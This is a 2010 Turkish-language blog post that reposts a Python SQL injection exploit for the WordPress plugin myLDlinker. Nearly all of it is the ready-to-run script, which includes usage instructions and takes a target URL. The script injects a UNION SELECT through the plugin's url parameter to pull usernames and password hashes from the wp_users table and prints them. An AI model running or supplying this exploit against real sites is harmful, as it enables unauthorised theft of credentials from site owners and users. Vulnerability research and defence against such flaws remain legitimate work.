"Şeytan İçinde ki Sestir; O Sese Kulak Ver"

-Zorlu BUĞRAHAN-

2 Ağustos 2010 Pazartesi

WordPress Plugin myLDlinker (myLDlinker.php) SQL Injection Exploit (.py)

http://inj3ct0r.com/exploits/13553



========================================================================
WordPress Plugin myLDlinker (myLDlinker.php) SQL Injection Exploit (.py)
========================================================================


#!/usr/bin/env python
#-*- coding:utf-8 -*-

# WordPress Plugin myLDlinker (myLDlinker.php url) SQL Injection Exploit (.py)
# Author ZoRLu
# Exploit Coded By ZoRLu / Date: 02/08/2010
# Found H-SK33PY / Date: 22/07/2010
# Orijinal Link http://inj3ct0r.com/exploits/13438
# Tested on my vista proof: http://img196.imageshack.us/img196/5655/wordvm.jpg
# Home: z0rlu.blogspot.com
# Home: imhatimi.org
# Thanks: inj3ct0r.com, r0073r, Dr.Ly0n, LifeSteaLeR, Heart_Hunter, Cyber-Zone, Stack, AlpHaNiX, ThE g0bL!N and all Friends

import sys, urllib2, re, os, time

if len(sys.argv) < 2:
os.system('cls')
os.system('clear')
os.system('color 2')
print "_______________________________________________________________"
print " "
print " WordPress Plugin myLDlinker SQL Inj Exploit (.py) "
print " "
print " coded by ZoRLu "
print " "
print " Usage: "
print " "
print " python exploit.py http://site.com/path/ "
print " "
print "_______________________________________________________________"
sys.exit(1)

add = "http://"
add2 = "/"

sitemiz = sys.argv[1]
if sitemiz[-1:] != add2:
print "\nwhere is it: " + add2
print "okk I will add"
time.sleep(2)
sitemiz += add2
print "its ok" + " " + sitemiz

if sitemiz[:7] != add:
print "\nwhere is it: " + add
print "okk I will add"
time.sleep(2)
sitemiz = add + sitemiz
print "its ok" + " " + sitemiz

vulnfile = "myLDlinker.php"
sql = "?url=00000000+union+select+1,concat(0x3e3e3e,user_login,0x3a3a,user_pass,0x3a3a),3,4,5,6,7,8+from+wp_users--"
url = sitemiz + vulnfile + sql

print "\nExploiting...\n"
print "wait three sec.!\n"
time.sleep(3)

try:
veri = urllib2.urlopen(url).read()
aliver = re.findall(r">>>(.*)([0-9a-fA-F])(.*)", veri)
if len(aliver) > 0:
print "user::hash:: " + aliver[0][0]

print "\nGood Job Bro!"
else:
print "Exploit failed..."


except urllib2.HTTPError:
print "Forbidden Sorry! Server has a Security!"


# Inj3ct0r.com [2010-08-02]

0 yorum:

 
Dizi